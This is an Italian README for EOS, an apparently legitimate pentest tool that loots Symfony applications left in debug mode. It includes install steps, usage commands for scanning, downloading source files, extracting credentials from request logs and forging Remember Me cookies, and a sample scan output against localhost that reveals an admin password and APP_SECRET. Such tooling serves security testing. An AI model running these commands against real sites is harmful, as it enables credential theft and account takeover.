Nemici di Symfony (EOS)

EOS saccheggia informazioni da un target Symfony in modalità debug:

Sezione	Descrizione
General	Ottieni informazioni generali sul target.
Phpinfo	Estrai le variabili d'ambiente Symfony dalla phpinfo() esposta.
Route	Ottieni l'elenco delle route registrate.
Log delle richieste	Cerca credenziali nei log delle richieste POST.
File di progetto	Recupera i file di progetto (configurazione, database, ecc.) in base a una wordlist.
Sorgenti	Estrai il codice sorgente dell'applicazione.
Cookie	Crea cookie Remember Me.

Maggiori informazioni su https://www.synacktiv.com/posts/pentest/looting-symfony-with-eos.html.

Nota che questo strumento non sfrutta alcuna vulnerabilità di Symfony. Il profiler è un componente utile per gli sviluppatori e EOS si limita ad approfittare di applicazioni Symfony mal configurate. La documentazione del profiler, infatti, avverte chiaramente gli sviluppatori:

Non abilitare mai il profiler in ambienti di produzione poiché ciò comporterà gravi vulnerabilità di sicurezza nel tuo progetto.

Grazie a tutto il team di Symfony per il loro fantastico lavoro!

Installazione

Testato su Python >= 3.7.

$ git clone https://github.com/Synacktiv/eos
$ python3 -m pip install --user ./eos

Utilizzo

usage: eos [-h] [-V] [-v] [--no-colors] {scan,sources,get,creds,cookies} ...

  ███████╗ ██████╗ ███████╗
  ██╔════╝██╔═══██╗██╔════╝
  █████╗  ██║   ██║███████╗
  ██╔══╝  ██║   ██║╚════██║
  ███████╗╚██████╔╝███████║  Enemies Of Symfony
  ╚══════╝ ╚═════╝ ╚══════╝  v1.1

positional arguments:
  {scan,sources,get,creds,cookies}
    scan                 perform a full scan
    sources              download application source code
    get                  download a file from the application
    creds                extract credentials from request logs
    cookies              craft remember me cookies with a great lifetime

optional arguments:
  -h, --help             show this help message and exit
  -V, --version          display version info
  -v, --verbose          increase verbosity
  --no-colors            disable colors in output

examples:
  eos scan http://localhost
  eos scan -H 'Cookie: foo=bar; john=doe' -H 'User-Agent: EOS' http://localhost
  eos get http://localhost config/services.yaml
  eos cookies -u jane_admin -H '$2y$13$IMalnQpo7xfZD5FJGbEadOcqyj2mi/NQbQiI8v2wBXfjZ4nwshJlG' -s 67d829bf61dc5f87a73fd814e2c9f629

$ eos scan http://localhost --output results
[+] Starting scan on http://localhost
[+] 2020-04-23 14:21:26.463352 is a great day

[+] Info
[!]   Symfony 5.0.1
[!]   PHP 7.3.11-1~deb10u1
[!]   Environment: dev

[+] Request logs
[+] Found 9 POST requests
[!] Found the following credentials with a valid session:
[!]   jane_admin: kitten [ROLE_ADMIN]

[+] Phpinfo
[+] Available at http://localhost/_profiler/phpinfo
[+] Found 101 PHP variables
[!] Found the following Symfony variables:
[!]   APP_ENV: dev
[!]   APP_SECRET: 67d829bf61dc5f87a73fd814e2c9f629
[!]   DATABASE_URL: sqlite:///%kernel.project_dir%/data/database.sqlite
[!]   MAILER_URL: null://localhost

[+] Project files
[+] Found: composer.lock, run 'symfony security:check' or submit it at https://security.symfony.com
[!] Found the following files:
[!]   composer.lock
[!]   composer.json
[!]   config/bundles.php
[!]   config/bootstrap.php
[!]   config/packages/assets.yaml
[!]   config/packages/cache.yaml
[!]   config/packages/dev/debug.yaml
[!]   config/packages/dev/monolog.yaml
[!]   config/packages/dev/routing.yaml
[!]   config/packages/dev/swiftmailer.yaml
[!]   config/packages/dev/web_profiler.yaml
[!]   config/packages/doctrine_migrations.yaml
[!]   config/packages/doctrine.yaml
[!]   config/packages/framework.yaml
[!]   config/packages/html_sanitizer.yaml
[!]   config/packages/prod/doctrine.yaml
[!]   config/packages/prod/monolog.yaml
[!]   config/packages/prod/routing.yaml
[!]   config/packages/prod/webpack_encore.yaml
[!]   config/packages/routing.yaml
[!]   config/packages/security.yaml
[!]   config/packages/sensio_framework_extra.yaml
[!]   config/packages/swiftmailer.yaml
[!]   config/packages/test/dama_doctrine_test_bundle.yaml
[!]   config/packages/test/framework.yaml
[!]   config/packages/test/monolog.yaml
[!]   config/packages/test/routing.yaml
[!]   config/packages/test/security.yaml
[!]   config/packages/test/swiftmailer.yaml
[!]   config/packages/test/twig.yaml
[!]   config/packages/test/validator.yaml
[!]   config/packages/test/webpack_encore.yaml
[!]   config/packages/test/web_profiler.yaml
[!]   config/packages/translation.yaml
[!]   config/packages/twig.yaml
[!]   config/packages/validator.yaml
[!]   config/packages/webpack_encore.yaml
[!]   config/routes/annotations.yaml
[!]   config/routes/dev/framework.yaml
[!]   config/routes/dev/web_profiler.yaml
[!]   config/routes.yaml
[!]   config/services.yaml
[!]   data/database.sqlite
[!]   data/database_test.sqlite
[!]   package.json
[!]   public/index.php
[!]   public/robots.txt
[!]   README.md
[!]   src/Kernel.php
[!]   symfony.lock
[!]   var/cache/dev/url_generating_routes.php
[!]   var/cache/dev/url_matching_routes.php
[!]   var/log/dev.log

[+] Routes
[!] Found the following routes:
[!]   /{_locale}/admin/post/
[!]   /{_locale}/admin/post/
[!]   /{_locale}/admin/post/new
[!]   /{_locale}/admin/post/{id}
[!]   /{_locale}/admin/post/{id}/edit
[!]   /{_locale}/admin/post/{id}/delete
[!]   /{_locale}/blog/
[!]   /{_locale}/blog/rss.xml
[!]   /{_locale}/blog/page/{page}
[!]   /{_locale}/blog/posts/{slug}
[!]   /{_locale}/blog/comment/{postSlug}/new
[!]   /{_locale}/blog/search
[!]   /{_locale}/login
[!]   /{_locale}/logout
[!]   /{_locale}/profile/edit
[!]   /{_locale}/profile/change-password
[!]   /{_locale}

[+] Project sources
[!] Found the following source files:
[!]   src/Command/AddUserCommand.php
[!]   src/Command/DeleteUserCommand.php
[!]   src/Command/ListUsersCommand.php
[!]   src/Controller/Admin/BlogController.php
[!]   src/Controller/BlogController.php
[!]   src/Controller/SecurityController.php
[!]   src/Controller/UserController.php
[!]   src/DataFixtures/AppFixtures.php
[!]   src/Entity/Comment.php
[!]   src/Entity/Post.php
[!]   src/Entity/Tag.php
[!]   src/Entity/User.php
[!]   src/EventSubscriber/CheckRequirementsSubscriber.php
[!]   src/EventSubscriber/CommentNotificationSubscriber.php
[!]   src/EventSubscriber/ControllerSubscriber.php
[!]   src/EventSubscriber/RedirectToPreferredLocaleSubscriber.php
[!]   src/Events/CommentCreatedEvent.php
[!]   src/Form/CommentType.php
[!]   src/Form/DataTransformer/TagArrayToStringTransformer.php
[!]   src/Form/PostType.php
[!]   src/Form/Type/ChangePasswordType.php
[!]   src/Form/Type/DateTimePickerType.php
[!]   src/Form/Type/TagsInputType.php
[!]   src/Form/UserType.php
[!]   src/Kernel.php
[!]   src/Pagination/Paginator.php
[!]   src/Repository/PostRepository.php
[!]   src/Repository/TagRepository.php
[!]   src/Repository/UserRepository.php
[!]   src/Security/PostVoter.php
[!]   src/Twig/AppExtension.php
[!]   src/Twig/SourceCodeExtension.php
[!]   src/Utils/Markdown.php
[!]   src/Utils/MomentFormatConverter.php
[!]   src/Utils/Slugger.php
[!]   src/Utils/Validator.php

[+] Saving files to results
[+] Saved 88 files

[+] Generated tokens: 5894a5 f68efa
[+] Scan completed in 0:00:13

eos

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Nemici di Symfony (EOS)

Installazione

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